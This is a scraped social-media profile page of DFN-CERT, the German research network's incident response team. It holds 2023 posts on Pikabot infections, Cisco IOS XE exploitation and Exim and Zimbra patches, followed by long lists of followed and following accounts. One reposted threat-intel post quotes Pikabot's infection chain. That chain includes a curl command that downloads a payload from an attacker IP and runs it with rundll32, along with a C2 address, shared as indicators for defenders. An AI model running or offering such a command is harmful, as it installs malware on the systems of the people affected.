DFN-CERT | @[email protected] @DFNCERT
THIS ACCOUNT IS NO LONGER ACTIVE! Serving the german NREN since 1993 RFC 2350 https://t.co/xPqFqKz0uy Imprint https://t.co/TEI3q3waTI dfn-cert.de Hamburg Joined January 2015-
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Auch wir sehen vermehrt mit #Pikabot infizierte Systeme in unseren #Netflow Daten und informieren betroffenen Einrichtungen unmittelbar. 🤗
#Pikabot - #TA577 - url > .zip > .js > curl > .dll wscript Cmejuzqk.js cmd /c cuRl http://216.128.185.]35/mdh/gunne -o %TMp%\XBMr.sct ruNdll32 %TMP%\XBMr.sct, Crash One new c2 added today👇full config in github. c2 188.26.127.4:13785 IOC's github.com/pr0xylife/Pika…
#CONNECT44 - the latest GÉANT CONNECT Magazine is now out, and it's a jam-packed issue with contributions from the community! Highlights: 🌐 #OpenScience ⚛️ #Quantum Communications ⚡️ #HPC & applications in R&E And many more topics! Read it here 👉 connect.geant.org/connect44
⚓️Ahoi! Dabei sein & mitfeiern!🎂Wir zelebrieren die 10. DFN-Konferenz „#Datenschutz“ an den #Landungsbrücken🚢in Hamburg @DFNCERT Am Dienstag & Mittwoch, 28. & 29. November 2023 ist es soweit. Meldet Euch gleich an! 👉dfn-cert.de/veranstaltunge…
Cisco CVE-2023-20198 exploitation activity: We see over 32.8K Cisco IOS XE IPs compromised with implants based on the check published by Cisco in blog.talosintelligence.com/active-exploit… IP data on implants shared out daily in: shadowserver.org/what-we-do/net… tagged 'device-implant'.
#Cisco admins please disable the HTTP Server-Feature on internet facing Cisco IOS XE devices or else (CVE-2023-20198). CVSS 10.0 via Web UI, no updates, exploitation detected. sec.cloudapps.cisco.com/security/cente…
🥳Der neue #DFNInfobriefRecht ist online! Diesen Monat berichtet die Forschungsstelle Recht der @uni_muenster über 👩⚖️Datenschutzrecht im #Metaverse, Kritik an der aktuellen Praxis des #elending & über das neue EU-US Data Privacy Framework. 👉 dfn.de/dfn-infobrief-…
Season starts early this year: major incidents in the German National Research and Education Network @DFN_de are piling up. Stay safe everyone and contact [email protected] if in trouble!
Exim 4.97 is in the works (RC1 available) and should include patches, but no confirmation so far. lists.exim.org/lurker/message…
3 of 6 #Exim Patches are available for distribution maintainers, 2x severity 'high' (RCE would be 'critical'). seclists.org/oss-sec/2023/q… github.com/Exim/exim/wiki…
The ZDI published some 0Day advisories for #Exim recently at zerodayinitiative.com/advisories/pub…. RCE with CVSS Base Score of 9.8 is among the vulnerabilities, but Exim devs are not so sure ¯\_(ツ)_/¯.
Long time no see! 👋 V25 of my family tree 🌳 dedicated to #ransomware is out on @orangecyberdef’s GitHub. Always happy to receive your reviews so don’t hesitate :)) ➡️github.com/cert-orangecyb… #CyberSecurity #cti @CERTCyberdef
There is still time to submit your paper to the Elbsides light conference - send in your talk elbsides.eu/2023/cfp/ until Sept 23rd #wewantyourtalk #infosec #cybersecurity #cfp
DFN-PKI: Version 13 der Zertifizierungsrichtlinie der DFN-PKI im Sicherheitsniveau „Global“ blog.pki.dfn.de/2023/09/versio…
🏙️Berlin, Berlin, wir fahren nach Berlin – heißt es im Oktober zur #DFN_BT79! Nur noch wenige Woche, dann sehen wir uns wieder bei der 79. DFN-Betriebstagung am 17. & 18.10.2023 zum Austauschen & auf den neusten Stand bringen🫂. Wir freuen uns wie Bolle! dfn.de/event/79-betri…
#Zimbra Patches for 2 #XSS have arrived: wiki.zimbra.com/wiki/Zimbra_Re… wiki.zimbra.com/wiki/Zimbra_Re… wiki.zimbra.com/wiki/Zimbra_Re…
PSA: new Zimbra #XSS, Patch will be available 2023-09-13 (aka tomorrow) for - Daffodil 10.0.4 - 9.0.0 Kelper Patch 36 - 8.8.15 Joule Patch 43 blog.zimbra.com/2023/09/new-pa…
BSI @BSI_Bund
48K Followers 367 Following Bundesamt für Sicherheit in der Informationstechnik | https://t.co/8Q82mhx69T | https://t.co/G4UCkM2Xdz
Grauhut @grauhut
7K Followers 511 Following #Wasmitholz, D&D5e DM, Kink, Cooking, IT Sec, Layer8 debugger. BOFH mit Wartungshammer. Motto: I have a million ideas but they all point to your certain death
CERT-Bund @certbund
21K Followers 586 Following Federal Computer Emergency Response Team of Germany @bsi_bund | About: https://t.co/tVk97zVyJD | Privacy: https://t.co/konTUUP70U
Alexandre Dulaunoy @a... @adulau
8K Followers 7K Following Enjoy when humans are using machines in unexpected ways. I break stuff and I do stuff. @[email protected]
Deutsches Forschungsn... @DFN_de
626 Followers 185 Following Besser gemeinsam – das Netz zur Wissenschaft | Netz | Sicherheit | Trust & Identity | Collaboration | Cloud #DFN #DFNCERT #eduroam #DFNAAI https://t.co/L4BCKmZwAp
Jens Link @QuuxBerlin
523 Followers 596 Following Nerd, Freelance Consultant, IPv6, Linux, , Networking, Ansible, ... @quuxbln.bsky.social
Koen Van Impe ☕ @cudeso
4K Followers 2K Following Freelancer. CSIRT. Incident Response. Threat Intelligence. Security, IDS, Linux, OpenBSD, Honeypots, Jazz, Literature, Modern Art. https://t.co/D9bkiv10Sy
Michael Wiesner @miatwidoor
2K Followers 3K Following
Will @BushidoToken
38K Followers 3K Following Senior Threat Intel Advisor @TeamCymru Co-founder @CuratedIntel Co-author @SANSForensics FOR589 Co-founder @BSidesBournemth #126: REvil @darknetdiaries
Jens Lange @ein_ISB
536 Followers 85 Following Kommunaler IT-Sicherheitshausmeister Mastodon: https://t.co/rgKNmXMgU3 Bluesky: https://t.co/FfFti54ip8
Tiark @ti_twr
199 Followers 588 Following Doktorand @UniKonstanz | Tieftemperaturphysik | politik- und medieninteressiert | Sozialdemokrat | he/him
mgyu @eeweqweww2wee
0 Followers 56 Following
stand alone @standal87113913
0 Followers 279 Following
DorisHardy @187y4v0v99Zd1
210 Followers 6K Following ✨ Professional daydreamer with a PhD in overthinking 🌙✨
Norbert @NB1r0
45 Followers 3K Following
Fehmer.tech @Fehmer_tech
102 Followers 248 Following IT-Spezialist aus 🇦🇹 | Fehmer Tech e.U. – Netzwerk, Virtualisierung, Azure, Docker & Monitoring | Moderne IT mit Struktur & Leidenschaft
Balkrishna Jadhav @hacker3j
799 Followers 8K Following Leading Hunts @ Deloitte| AVP - Threat Hunting @ Kotak Mahindra Bank| Senior Threat Intelligence|Forensicator| Innovator|Malwarologist|Espionage||Inventor
DavidHarlow @xDaveHarlow
2 Followers 75 Following
Peter Schawacker @PeterSchawacker
994 Followers 7K Following Cyber Business Innovator & Strategist | CISO | AI | GRC & SOC | DFIR/TTX | SecOps | Drive Margin | Nearshoring | LATAM-USA | Emerging Markets | GTM Advisor
Mesco Sec @cmarinesq13
1 Followers 84 Following
Наталія Кра... @NataliyaGvozd
259 Followers 7K Following [email protected] /samsung https://t.co/PkqvquEwry
beerlao @beerlao
0 Followers 120 Following
Sir Oliver Cromwell H... @MrOliverCH5377
153 Followers 3K Following Grant by compass for my name is Oliver.The grandson of Native Chowan the https://t.co/yqFNPXTlwp design The Grace of Almighty https://t.co/3U8ipQFhPp
Open CSIRT Foundation @CsirtOpen
176 Followers 91 Following We have a mission we believe in – stimulating and contributing to the state-of the-art in Internet security worldwide. #SIM3 #TrustedIntroducer @tfcsirt
Rahel Müller @mueller_rahel
3 Followers 59 Following CTI Analyst and Product Manager @ Deutsche Telekom Security.
Moggz @Moggznz
8 Followers 426 Following
Mauve Sanger @MauveSange86377
742 Followers 2K Following "Eco-warrior & unapologetic feminist. Passionate about equality & climate action. Not here to play nice. #FearlessFeminist" She/Her
Ibrahim Abdlrazik �... @irazik707
54 Followers 2K Following #DFIR #ThreatHunting #DetectionEngineering #Sigma #Yara #ThreatIntelEnthusiast #BlueTeam #Egyptian 🇪🇬
Marina @shappete27669
121 Followers 4K Following See the world on the road, and get to know yourself on the way!
Philomena @thadepy28713
99 Followers 4K Following See the world on the road, and get to know yourself on the way!
Wallace @delesellee9863
98 Followers 5K Following See the world on the road, and get to know yourself on the way!
Wanda @Tirti349502
108 Followers 5K Following See the world on the road, and get to know yourself on the way!
patricia gomez @patrici51281122
31 Followers 1K Following
Arwyn Parry @ArwynParry89
43 Followers 963 Following
$!4& @Kr0wl4n
21 Followers 1K Following
CA$H @RobJTejas
301 Followers 3K Following Electrical Engineer turned Digital Forensicator. Thinker, tinkerer, inventor, artist, home chef, gamer, home brewer. Socially aware, spiritually awoke.
Dzw @MDzwag
1 Followers 143 Following
sky @0x0aSky
165 Followers 2K Following French CTI analyst. My interests, OSINT, CTI, IR, forensics and new technologies. Opinions are my own.
Humayun Nadeem @Humayun_523i
22 Followers 1K Following Information Security professional, Passionate about cricket and cars, hunting and fishing 🎣 are my hobbies 🇵🇰
Dario Candia @DarioLp8
286 Followers 5K Following Ciberseguridad/SOC/Blue Team/Investigador/ Threat Intelligence/
Th3_0Bservator @Th3_0Bservator
190 Followers 358 Following Gray Hat Hacker, Digital Fraud & Security Researcher and Machine Learning Specialist
justAtw!tterAddict @thmaddict
46 Followers 450 Following This is not the account you are looking for.
Swachchhanda Poudel @_swachchhanda_
168 Followers 380 Following Threat Researcher | Detection Engineer @nextronsystems | #sigma #yara https://t.co/LjJ2sh3CIE
sbt @sbt_lu
4 Followers 231 Following
Marc 👾 @hackenschere
140 Followers 623 Following bringing safe AI agents into hospitals & Hacking/securing medical devices |||| AI Specialist // Engineer // Hacker opinions==mine
BSI @BSI_Bund
48K Followers 367 Following Bundesamt für Sicherheit in der Informationstechnik | https://t.co/8Q82mhx69T | https://t.co/G4UCkM2Xdz
MISP (@misp@misp-comm... @MISPProject
22K Followers 93 Following MISP - Threat Sharing. An open source software and standards to share, create and validate threatintel and intelligence. Mastodon @[email protected]
CERT-Bund @certbund
21K Followers 586 Following Federal Computer Emergency Response Team of Germany @bsi_bund | About: https://t.co/tVk97zVyJD | Privacy: https://t.co/konTUUP70U
Deutsches Forschungsn... @DFN_de
626 Followers 185 Following Besser gemeinsam – das Netz zur Wissenschaft | Netz | Sicherheit | Trust & Identity | Collaboration | Cloud #DFN #DFNCERT #eduroam #DFNAAI https://t.co/L4BCKmZwAp
TEAM CYMRU @teamcymru
41K Followers 186 Following We provide digital business risk platforms and community services. Since 2005, our reputation has remained unchallenged Check out our research @teamcymru_S2!
APWG @APWG
4K Followers 104 Following The Anti-Phishing Working Group is the world's largest independent counter eCrime association
Team Cymru Research @teamcymru_S2
6K Followers 96 Following Follow us for the latest blogs, detections, and IOCs from the Team Cymru Research Team. A part of @teamcymru.
SWITCH @SWITCH_ch
1K Followers 187 Following Working on behalf of the education, research and innovation community, SWITCH is committed to the digital future of Switzerland.
BugAlert.org @BugAlertDotOrg
865 Followers 0 Following https://t.co/bDalRXbvAE is a service for alerting security and IT professionals of high-impact and 0day vulnerabilities. Follow for vuln information and general updates.
Deutsche Telekom CERT @DTCERT
5K Followers 44 Following Technical tweets for technical folks by Deutsche Telekom CERT, CTI, and DFIR. #dfir #cyber #cert #cti #TelekomSecurity
Cryptolaemus @Cryptolaemus1
20K Followers 205 Following Where are mealybugs now!?! We is hungry and no one wants to play anymore. Where everyone at?
KIT-CERT @kitcert
132 Followers 37 Following Computer Emergency Response Team des @KITKarlsruhe @SCC_KIT
CTI League @ctileague
1K Followers 17 Following A vetted, global group of cybersecurity volunteers whose mission is to defend our medical institutions from those who would do them harm.
SANS.edu Internet Sto... @sans_isc
117K Followers 86 Following @[email protected] - https://t.co/8IgCGtJnZd - Global Network Security Information Sharing Community -
RUS-CERT Universität... @rus_cert
66 Followers 25 Following Offizieller Account des Computer Emergency Response Teams der Uni Stuttgart Hinweise: https://t.co/AhXYIFgzxo Impressum: https://t.co/ovFNWkuONP
CERT-EU @CERTEU
14K Followers 433 Following Official account of the CERT for the EU institutions, bodies and agencies. Please use [email protected] for interaction.
Cyber Security Month @CyberSecMonth
31K Followers 223 Following Did you know October is European Cybersecurity Month? Check out this account for tips & advice on how to stay safe & secure online. Operated by @enisa_eu
Didier Stevens @DidierStevens
33K Followers 5K Following 5-to-9 security researcher, Microsoft MVP, ISC Handler. Mostly IT security. & programming. & (hardware) hacking. & maldocs PDF/DOC. Avatar: https://t.co/AtaPkdT5g3
Philippe Lagadec @decalage2
5K Followers 1K Following Author of oletools, olefile, ViperMonkey, ExeFilter, Balbuzard. #DFIR, #malware analysis, maldocs, file formats, #Python. @[email protected]
Matt @mattnotmax
3K Followers 587 Following
concordia-h2020.eu @concordiah2020
2K Followers 204 Following European #cybersecurity competencies are fragmented. Our mission is to lead their integration into the cyber competence network. #H2020 project.
Elbsides / elbsides@i... @elbsides
505 Followers 593 Following Elbsides 2025 -Computer Security Conference - June 13th, 2025. No longer posting here-follow us on LinkedIn, @elbsides.bsky.social & @[email protected]
Have I Been Pwned @haveibeenpwned
178K Followers 1 Following Check if you have an email address or password that has been compromised in a data breach. Created and maintained by @troyhunt.
JPCERT/CC @jpcert_en
11K Followers 8 Following Official English account for JPCERT/CC on security alerts, blog posts, publications, etc. For Inquiries, email [email protected].
ENISA @enisa_eu
52K Followers 884 Following Official Twitter channel of the European Union Agency for Cybersecurity (ENISA) 🇪🇺 | RTs ≠ endorsement
SWITCH-CERT @switchcert
4K Followers 93 Following SWITCH-CERT is one of the most established CERTs in Switzerland. With 25 years of experience it serves its customers across Switzerland.
CIRCL - @circl@social... @circl_lu
13K Followers 1K Following CIRCL is the CERT (Computer Emergency Response Team) for the private sector, communes and non-governmental entities in Luxembourg.
CERT.at @CERT_at
5K Followers 493 Following This account is no longer in active use. Please use the official channels to reach out to us.
tfcsirt @tfcsirt
1K Followers 139 Following The mission of TF-CSIRT is to facilitate and improve the collaboration between the European CSIRT community to make cyber space a better place.You might like
